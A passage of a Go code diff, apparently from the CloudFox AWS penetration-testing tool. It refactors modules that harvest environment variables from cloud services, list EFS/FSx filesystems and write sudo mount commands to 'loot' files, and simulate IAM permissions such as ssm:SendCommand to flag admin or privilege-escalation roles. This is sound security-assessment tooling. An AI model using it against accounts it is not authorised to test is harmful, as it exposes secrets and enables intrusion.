fmt.Printf("[%s][%s] %s environment variables found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -178,7 +194,7 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, _ := servicemap.IsServiceInRegion("ecs", r)
if res {
@@ -328,38 +344,18 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *s
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
functions, err := m.LambdaClient.ListFunctions(
context.TODO(),
&lambda.ListFunctionsInput{
Marker: PaginationMarker,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, function := range functions.Functions {
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
}
// Pagination control. After the last page of output, the for loop exits.
if functions.NextMarker != nil {
PaginationMarker = functions.NextMarker
} else {
PaginationMarker = nil
break
}
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, function := range Functions {
m.getLambdaEnvironmentVariablesPerFunction(function, region, dataReceiver)
}
}
func (m *EnvsModule) getLambdaEnvironmentVariablesPerFunction(function lambdaTypes.FunctionConfiguration, region string, dataReceiver chan EnvironmentVariable) {
@@ -390,69 +386,51 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
ListServices, err := m.AppRunnerClient.ListServices(
context.TODO(),
&(apprunner.ListServicesInput{
NextToken: PaginationControl,
}),
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
if len(ListServices.ServiceSummaryList) > 0 {
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
for _, service := range ListServices.ServiceSummaryList {
name := aws.ToString(service.ServiceName)
arn := aws.ToString(service.ServiceArn)
awsService := "App Runner"
if err != nil {
//modLog.Error(err.Error())
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
if len(ServiceSummaryList) > 0 {
DescribeService, err := m.AppRunnerClient.DescribeService(
context.TODO(),
&apprunner.DescribeServiceInput{
ServiceArn: &arn,
},
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
for _, service := range ServiceSummaryList {
name := aws.ToString(service.ServiceName)
arn := aws.ToString(service.ServiceArn)
awsService := "App Runner"
}
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
//fmt.Printf("%s - %s", k, v)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
DescribeService, err := m.AppRunnerClient.DescribeService(
context.TODO(),
&apprunner.DescribeServiceInput{
ServiceArn: &arn,
},
func(o *apprunner.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
}
// The "NextToken" value is nil when there's no more data to return.
if ListServices.NextToken != nil {
PaginationControl = ListServices.NextToken
} else {
PaginationControl = nil
break
if len(DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables) > 0 {
for k, v := range DescribeService.Service.SourceConfiguration.ImageRepository.ImageConfiguration.RuntimeEnvironmentVariables {
//fmt.Printf("%s - %s", k, v)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
}
}
}
@@ -473,13 +451,7 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Executing++
awsService := "Lightsail [Container]"
GetContainerServices, err := m.LightsailClient.GetContainerServices(
context.TODO(),
&(lightsail.GetContainerServicesInput{}),
func(o *lightsail.Options) {
o.Region = r
},
)
ContainerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
@@ -489,9 +461,9 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
if err == nil {
if len(GetContainerServices.ContainerServices) > 0 {
if len(ContainerServices) > 0 {
for _, containerService := range GetContainerServices.ContainerServices {
for _, containerService := range ContainerServices {
for _, container := range containerService.CurrentDeployment.Containers {
for k, v := range container.Environment {
name := aws.ToString(containerService.ContainerServiceName)
@@ -750,7 +722,10 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Error++
break
}
if err == nil {
// find the number of environment variables in the model in a pointer safe way
if DescribeModel.PrimaryContainer != nil {
if len(DescribeModel.PrimaryContainer.Environment) > 0 {
name := fmt.Sprintf("[Model] %s", aws.ToString(DescribeModel.ModelName))
+96 -85
View File
@@ -9,19 +9,18 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/efs"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
"github.com/aws/aws-sdk-go-v2/service/fsx"
fsxTypes "github.com/aws/aws-sdk-go-v2/service/fsx/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/fatih/color"
"github.com/sirupsen/logrus"
)
var green = color.New(color.FgGreen).SprintFunc()
type FilesystemsModule struct {
// General configuration data
@@ -53,6 +52,7 @@ type FilesystemObject struct {
IP string
Policy string
MountTarget string
Permissions string
}
func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirectory string, verbosity int) {
@@ -66,10 +66,6 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
//populate region in the filesystems module struct
for i, region := range m.AWSRegions {
m.Regions[i].Region = region
}
fmt.Printf("[%s][%s] Enumerating filesystems for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: EFS, FSx \n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -118,6 +114,7 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
//"IP",
"Mount Target",
"Policy",
"Permissions",
}
// Table rows
@@ -132,17 +129,34 @@ func (m *FilesystemsModule) PrintFilesystems(outputFormat string, outputDirector
//m.Filesystems[i].IP,
m.Filesystems[i].MountTarget,
m.Filesystems[i].Policy,
m.Filesystems[i].Permissions,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s filesystems found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -168,7 +182,7 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("efs", r)
if err != nil {
@@ -187,7 +201,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
}
f := filepath.Join(path, "filesystems-mount-commands.txt")
@@ -198,8 +213,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
switch m.Filesystems[i].AWSService {
case "EFS":
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
out = out + fmt.Sprintf("mkdir -p /efs/%s/\n", m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs/%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("mkdir -p /efs%s/\n", m.Filesystems[i].MountTarget)
out = out + fmt.Sprintf("sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport %s:/ /efs%s\n\n", m.Filesystems[i].DnsName, m.Filesystems[i].MountTarget)
case "FSx [LUSTRE]":
out = out + fmt.Sprintf("########## Mount instructions for %s - %s ##########\n", m.Filesystems[i].AWSService, m.Filesystems[i].Name)
out = out + fmt.Sprintln("#sudo amazon-linux-extras install -y lustre2.10")
@@ -224,7 +239,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(f, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
@@ -247,94 +263,75 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
var PaginationMarker2 *string
var policy string
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
DescribeFileSystems, err := m.EFSClient.DescribeFileSystems(
DescribeFileSystems, err := sdk.CachedDescribeFileSystems(m.EFSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, filesystem := range DescribeFileSystems {
name := filesystem.Name
id := aws.ToString(filesystem.FileSystemId)
_, err := m.EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemsInput{
Marker: PaginationMarker,
&efs.DescribeFileSystemPolicyInput{
FileSystemId: filesystem.FileSystemId,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
policy = "Default (No IAM auth)"
} else {
policy = "IAM Authenticated"
}
DescribeMountTargets, err := sdk.CachedDescribeMountTargets(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, filesystem := range DescribeFileSystems.FileSystems {
name := filesystem.Name
id := filesystem.FileSystemId
//dnsName := fmt.Sprintf("%s.efs.%s.amazonaws.com", *id, r)
for _, mountTarget := range DescribeMountTargets {
ip := *mountTarget.IpAddress
mountTarget := aws.ToString(mountTarget.MountTargetId)
awsService := "EFS"
_, err := m.EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemPolicyInput{
FileSystemId: id,
},
func(o *efs.Options) {
o.Region = r
},
)
accessPoints, err := sdk.CachedDescribeAccessPoints(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
if err != nil {
policy = "Default (No IAM auth)"
}
sharedLogger.Error(err.Error())
for {
DescribeMountTargets, err := m.EFSClient.DescribeMountTargets(
context.TODO(),
&efs.DescribeMountTargetsInput{
FileSystemId: id,
Marker: PaginationMarker2,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, mountTarget := range DescribeMountTargets.MountTargets {
mountTargetId := mountTarget.MountTargetId
ip := *mountTarget.IpAddress
awsService := "EFS"
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: aws.ToString(mountTargetId),
}
}
if DescribeMountTargets.NextMarker != nil {
PaginationMarker2 = DescribeMountTargets.NextMarker
} else {
PaginationMarker2 = nil
break
m.CommandCounter.Error++
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: mountTarget,
Permissions: "access denied",
}
}
//awsService := fmt.Sprintf("EFS [%s]", fsType)
for _, accessPoint := range accessPoints {
path, permissions := m.getEFSfilesystemPermissions(accessPoint)
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
Name: aws.ToString(name),
DnsName: ip,
Policy: policy,
MountTarget: path,
Permissions: permissions,
}
}
// Pagination control. After the last page of output, the for loop exits.
if DescribeFileSystems.NextMarker != nil {
PaginationMarker = DescribeFileSystems.NextMarker
} else {
PaginationMarker = nil
break
}
}
}
@@ -369,7 +366,8 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
},
)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
break
}
@@ -484,3 +482,16 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
}
}
func (m *FilesystemsModule) getEFSfilesystemPermissions(accessPoint types.AccessPointDescription) (string, string) {
var path string
var permissions string
if accessPoint.AccessPointId != nil && accessPoint.RootDirectory != nil && accessPoint.RootDirectory.CreationInfo != nil {
path = aws.ToString(accessPoint.RootDirectory.Path)
permissions = aws.ToString(accessPoint.RootDirectory.CreationInfo.Permissions)
return path, permissions
}
return "", ""
}
+87 -123
View File
@@ -10,6 +10,7 @@ import (
"sync"
"time"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
@@ -19,10 +20,7 @@ import (
type IamSimulatorModule struct {
// General configuration data
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
IAMListUsersClient iam.ListUsersAPIClient
IAMListRolesClient iam.ListRolesAPIClient
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
@@ -53,15 +51,15 @@ var (
"ssm:GetParameter",
"s3:ListBucket",
"s3:GetObject",
"ssm:sSendCommand",
"ssm:SendCommand",
"ssm:StartSession",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"eks:UpdateClusterConfig",
"lambda:ListFunctions",
"ecs:DescribeTaskDefinition",
"apprunner:DescribeService",
"ec2:DescribeInstanceAttributeInput",
"sns:Subscribe",
"sqs:SendMessage",
}
TxtLogger = internal.TxtLogger()
)
@@ -75,7 +73,7 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
var actionList []string
var pmapperCommands []string
var pmapperOutFileName string
@@ -173,15 +171,30 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
fmt.Printf("[%s][%s] We suggest running the pmapper commands in the loot file to get the same information but taking privesc paths into account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// fmt.Printf("[%s]\t\tpmapper --profile %s graph create\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
// for _, line := range pmapperCommands {
// fmt.Printf("[%s]\t\t%s", cyan(m.output.CallingModule), cyan(m.AWSProfile), line)
// }
m.writeLoot(m.output.FilePath, verbosity, pmapperCommands)
m.writeLoot(o.Table.DirectoryName, verbosity, pmapperCommands)
} else if principal != "" || action != "" {
fmt.Printf("[%s][%s] No allowed permissions identified, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -249,47 +262,31 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
ListUsers, err := m.IAMListUsersClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
for _, user := range ListUsers.Users {
//name := user.UserName
principal := user.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, user := range ListUsers {
//name := user.UserName
principal := user.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
}
// Pagination control. After the last page of output, the for loop exits.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
@@ -304,99 +301,66 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
ListRoles, err := m.IAMListRolesClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
for _, role := range ListRoles.Roles {
//name := user.UserName
principal := role.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
// Pagination control. After the last page of output, the for loop exits.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
break
}
}
for _, role := range ListRoles {
//name := user.UserName
principal := role.Arn
adminCheckResult := m.isPrincipalAnAdmin(principal)
if adminCheckResult {
query := "Appears to be an administrator"
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
func (m *IamSimulatorModule) getPolicySimulatorResult(principal *string, actionNames []string, resource string, dataReceiver chan SimulatorResult) {
var PaginationControl2 *string
//var policySourceArn = "*"
//var arn *string
var resourceArns []string
resourceArns = append(resourceArns, resource)
//var resourceArns = []string{"*"}
for {
SimulatePrincipalPolicy, err := m.IAMSimulatePrincipalPolicyClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
ActionNames: actionNames,
PolicySourceArn: principal,
ResourceArns: resourceArns,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
EvaluationResults, err := sdk.CachedIamSimulatePrincipalPolicy(m.IAMClient, aws.ToString(m.Caller.Account), principal, actionNames, resourceArns)
break
}
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
return
}
for _, result := range SimulatePrincipalPolicy.EvaluationResults {
evalName := result.EvalActionName
query := fmt.Sprintf("can %s on %s", *evalName, resource)
decision := result.EvalDecision
if decision == "allowed" {
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: string(decision),
}
for _, result := range EvaluationResults {
evalName := result.EvalActionName
query := fmt.Sprintf("can %s on %s", *evalName, resource)
decision := result.EvalDecision
if decision == "allowed" {
dataReceiver <- SimulatorResult{
AWSService: "IAM",
Principal: aws.ToString(principal),
Query: query,
Decision: string(decision),
}
}
// Pagination control. After the last page of output, the for loop exits.
if SimulatePrincipalPolicy.Marker != nil {
PaginationControl2 = SimulatePrincipalPolicy.Marker
} else {
PaginationControl2 = nil
break
}
}
}
func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
@@ -412,7 +376,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
"ssm:GetDocument",
}
for {
SimulatePrincipalPolicy, err := m.IAMSimulatePrincipalPolicyClient.SimulatePrincipalPolicy(
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
+178 -62
View File
@@ -10,6 +10,7 @@ import (
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
@@ -23,21 +24,20 @@ import (
type InstancesModule struct {
// General configuration data
EC2Client *ec2.Client
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
IAMListInstanceProfilesClient iam.ListInstanceProfilesAPIClient
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
UserDataAttributesOnly bool
AWSProfile string
WrapTable bool
InstanceProfileToRolesMap map[string][]iamTypes.Role
SkipAdminCheck bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
EC2Client *ec2.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
UserDataAttributesOnly bool
AWSProfile string
WrapTable bool
InstanceProfileToRolesMap map[string][]iamTypes.Role
SkipAdminCheck bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Module's Results
MappedInstances []MappedInstance
@@ -91,15 +91,15 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
fmt.Printf("[%s][%s] Enumerating EC2 instances in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
if m.pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
} else {
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
@@ -149,7 +149,7 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
if m.UserDataAttributesOnly {
m.printInstancesUserDataAttributesOnly(outputFormat, outputDirectory, dataReceiver)
} else {
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver)
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
}
@@ -173,7 +173,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
}()
m.output.CallingModule = "instance-userdata"
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile, "loot")
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)), "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
@@ -203,7 +203,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
}
// only create a file if if there is at least one instance AND at least one instance had user-data.
if (len(m.MappedInstances) > 0) && (userDataOut != "=============================================\n") {
if m.output.Verbosity > 1 {
if m.output.Verbosity > 2 {
fmt.Printf("%s", userDataOut)
}
err = os.WriteFile(userDataFileName, []byte(userDataOut), 0644)
@@ -217,49 +217,107 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
}
}
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance) {
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance, verbosity int) {
// Prepare Table headers
//m.output.Headers = table.Row{
m.output.Headers = []string{
//"ID",
"Name",
//"Arn",
"ID",
"Zone",
"State",
"External IP",
"Internal IP",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
if m.pmapperError == nil {
m.output.Headers = []string{
//"ID",
"Name",
//"Arn",
"ID",
"Zone",
"State",
"External IP",
